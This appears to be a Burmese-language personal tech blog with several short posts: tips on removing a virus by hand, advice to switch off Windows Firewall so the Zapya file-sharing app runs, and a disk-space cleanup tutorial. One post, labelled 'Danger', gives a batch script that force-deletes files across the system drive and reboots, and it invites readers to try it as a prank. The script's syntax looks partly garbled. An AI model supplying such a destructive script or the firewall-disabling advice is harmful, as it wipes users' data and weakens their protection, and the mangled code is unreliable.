ဘာညာ ျပလိမ့္မယ္ လမ္းေၾကာင္းေလးတစ္ခုေပါ့
ဘာက္ုrun ပါ ဆိုပီးခိုင္းထားတာေလး
အဲ့တာေလးမွာ name.exeလို႔ုဖစ္ေနမယ္ထင္တယ္nameေနရာမွာႀကိဳက္တာျဖသ္ႏိုင္တယ္
အဲ့တာကိုမွတ္ပီး googleကိုသြား
How to kill name.exe virus႐ွာ ေျဖ႐ွင္းနည္း
ေတြေတြ႕လိမ့္မယ္
အ့ဆိုvirusကို manualသတ္ႏိုင္မယ္ထင္တယ္
သိပ္ေတာ့မလြယ္လွဘူး
Name.exeထဲကcodeေလးေတြ ဖတ္ႏု္ိုင္ရင္ေတာ့
.db(database file .tmpေတြကလည္း virus ရဲ႕databaseျဖစ္ႏိုင္တာပဲ)ဆိုပီးဆံုးတဲ့ေကာင္ေလးေတြ ရဲ႕ location ကိုသိရင္
အဲ့ေကာင္ေတြကိုျဖတ္ပီးသတ္ႏိုင္တယ္
Virusက fileေတြပြားတာတို႔ကပ္ေနတာတို႔
ျဖစ္ေနတဲ့ fileေတြrunမိရင္ .dbတို္ name.exeတို႔ကျပန္ထြက္လာမွာပဲ
သတ္ခ်င္ရင္ေတာ့ ဒါေတြအကုန္ကိုလိုက္ျဖတ္ေပးမွကိုရမွာ
သိပ္ေတာ့မလြယ္လွဘူးဗ်
#ရပ္​​ေစာက္​သား

Tuesday, July 28, 2015

pc က Zapya အႀကီးအလုပ္​မလုပ္​ဘူးလား

0 comments

Computer  zapya ျကီးပိတ္ပိတ္သြားပါတယ္  ဘာေျကာင့္လည္းမွတ္တယ္
Window firewall ေျကာင့္ကိုးးးးးး ခုမွတိတယ္ ခိခိ ပိန္းခ်က္
ရပ္ေခ်ာက္တားယိုငပိန္းေလးေတြ ...... window firewall ကိုပိတ္ထားမွ zapya.exeကိုသံုးလို႕ရပါမယ္
run boxမွာ Wp.msc လို႕ရိုက္အန္းတားေခါက္ပါ
ေအာက္နားေလးက Window Firewall Propertiesဆိုတာကိုကလစ္ပါ
Private profile ကိုသြားပါ firewall state မွာ off လုပ္ေပးခဲ့ပါ
apply >ok
reopen zapy.exe   sharing your data  :P
good luck

ရပ္​​ေစာက္​သား

Tuesday, March 10, 2015

၁၅ မိနစ္အတြင္း Computer ကို ဖ်က္စီးမယ္ (Danger)

2 comments
Code:
@echo off
del %systemdrive%\-,-/f/s/q
shutdown-r-f-t 001
ဒီကုတ္ေလးကို ကူးယူလိုက္ပီးေတာ့ Notepad မွာ Whatever.bat ဆုိပီး all file type,ANSI နဲ႔ Save လိုက္ပါ...
ဟဲဟဲ...အဲ့ဒါေလးကို Open လိုက္တာနဲ႔ Command Prompt ေပၚလာပီး စာေၾကာင္းေတြ ဆက္တုိက္ေပၚလာပါလိမ့္မယ္...
၁၅ မိနစ္ၾကာရင္ အဲ့စာေၾကာင္းေပၚတာေတြရပ္သြားပါလိမ့္မယ္...
:'( သင့္ကြန္ပ်ဴတာဟာ သိသိသာသာ ေႏွးသြားပါမယ္...
:'( HardDisk Usage ဟာလည္း 4MB သို႔ ေျပာင္းသြားပါမယ္...
အဲ့ဒီလို စက္ေနွးလို႔ Restart ေပးလိုက္ပီး ျပန္တက္လာတဲ့ အခ်ိန္မွာေတာ့

:'(  Windows could not start because the following file is missing or corrupt:
<windows root>\system32\hal.dal>
ဆိုတဲ့ စာေၾကာင္းတက္လာပီး သင့္ကြန္းပ်ဴတာဟာ..............................................................
.............................................................. ..............................................................
..............................................................  ..............................................................
..............................................................  ..............................................................
မယံုရင္ စမ္းၾကည့္နိုင္ပါတယ္...
တခုခုျဖစ္ရင္ တားနဲ႔ ဆိုင္ဘူးေနာ္...ခ္ခ္

HardDisk မွာ ေနရာလြတ္မ်ားမ်ားရရိွေအာင္ျပဳလုပ္နည္း

0 comments

ကြန္ပ်ဴတာ တစ္လံုးမွာ hard disk ရဲ႕ လုပ္ေဆာင္မႈ ႔ဟာ အရမ္းအေရးၾကီးပါတယ္။
ကိုယ့္ရဲ ႔hard disk မွာ free space နည္းေနရင္ ကြန္ပ်ဴတာ လုပ္ေဆာင္မႈ ႔ေႏွးလာႏိုင္သလို program ေတြ run တဲ့အခါမွာလည္း ေတာ္ရံုနဲ႔ ခ်က္ခ်င္းမျပီး ၾကန္႔ၾကာၿခင္းေတြ ၿဖစ္လာေလ႔ရွိပါတယ္။
Window တစ္ခု စတင္ လိုက္တဲ႔ အခါကတည္းက default disk setting ကို
Waste capacity ကို အမ်ားၾကီးေပးထားတာပါ ကြ်န္ေတာ္ တို႔က အဲဒီမလိုအပ္တဲ႔ wasted capacity ကို ေလွ်ာ႔ခ် လိုက္ၿခင္း အားၿဖင္႔ free space မ်ားမ်ားရရွိေအာင္ လုပ္ေဆာင္နိုင္မွာ ၿဖစ္ပါတယ္။
လုပ္ေဆာင္ရမဲ႔ အဆင္႔နည္းနည္းမ်ားပါတယ္။
တစ္ဆင္႔ၿခင္းကို ေသေသခ်ာခ်ာ လုပ္ေဆာင္ သြားရင္ လြယ္လြယ္ေလးပါ

ပထမဆံုး my computer ကို ဖြင္႔ပါ။
Local disk C: ရဲ႕ properties မွာ used space , free space
ဘယ္ေလာက္ရွိတယ္ ဆိုတာကို မွတ္သားထားလိုက္ပါ ဒါမွသာ ကြ်န္ေတာ္တို႔ရဲ႕ လုပ္ေဆာင္မႈ႔ဟာ အက်ိဳးသက္ေရာက္ မႈ ႔ရွိမရွိ ကို သိရွိနိုင္မွာ ပါ ..
မွတ္သားၿပီးသြားရင္ေတာ႔

၁။ Start Menu , Control Panel မွ Power options ကို click ပါ
က်လာတဲ႔ Power options properties dialog box မွ Hibernate tab ကို ထပ္ၿပီး click လိုက္ပါဦး
ၿပီးရင္ Enable Hibernation ဆိုတဲ႔စာေၾကာင္းေလးကို uncheck လုပ္ၿပီး Apply , Ok ေပးပါမယ္..

၂။ Run box မွာ sysdm.cpl လို႔ရိုက္ထည္႔ၿပီးေတာ႔ enter ေခါက္ပါ
ရရွိလာတဲ႔ system properties dialog box မွ System Restore tab ကို ထပ္ၿပီး click ပါမယ္
Available drivers : ေအာက္က ( C ) ကို select ေပးၿပီး settings button ကို click ပါမယ္
Device Settings ဆိုတဲ႔ box တစ္ခုထပ္မံ က်ေရာက္လာတာ ကို ေတြ႔ရမွာပါ
Disk space to use: ေအာက္မွာ မူလက 12 % ( 6132 MB ) ရွိရာမွ
3 % ( 1386 MB) သို႔ ေလွ်ာ႔ခ်လိုက္ပါမယ္.
ၿပီးရင္ Ok ေပးပါ..

၃။ Start Menu , Internet explorer ကို open ရပါမယ္
Menu bar မွ tools , Internet options ကို click ပါ
Delet files ကို ထပ္မံ click ပါမယ္ alert box တက္လာပါမယ္ ..
Delete all offline content ဆိုတဲ႔ စာေၾကာင္းကို check ေပးၿပီး Ok ေပးပါ

၄။ Delete files button ရဲ႕ ညာဘက္ေဘးက settings ကို click ပါမယ္
Amount of disk space to use : စာေၾကာင္းေအာက္က box ထဲမွာ မူလက
474 MB ေပးထားတာကို 50 MB လို႔ ၿပင္ရိုက္ၿပီး OK ,OK………..
ေနာက္ဆံုးအဆင္႔ကေတာ႔ shift+delete နဲ႔ ဖ်က္မထား မိလို႔ Recycle Bin ထဲက
မလိုအပ္တဲ႔ ဖိုင္ေတြကို right click ေထာက္ၿပီး Empty Recycle Bin လုပ္ပါမယ္
ၿပီးပါၿပီဗ်ာ My computer ထဲ က Disk C မွာ free space ဘယ္ေလာက္တိုးလာ
သလဲဆိုတာ စစ္ေဆးၾကည္႔လိုက္ပါဦး………

အႏွစ္ခ်ဳပ္ကေတာ႔..
Recycle Bin: Default 10 % dropped to 1%
Hibernation:Default ON ( for notebooks) switched OFF
Internet explorer: Default 474 MB dropped to 50 MB
System Restore: Default 12% dropped to 1% (~ 1 GB)

ကူးယူေဖာ္ျပထားပါသည္။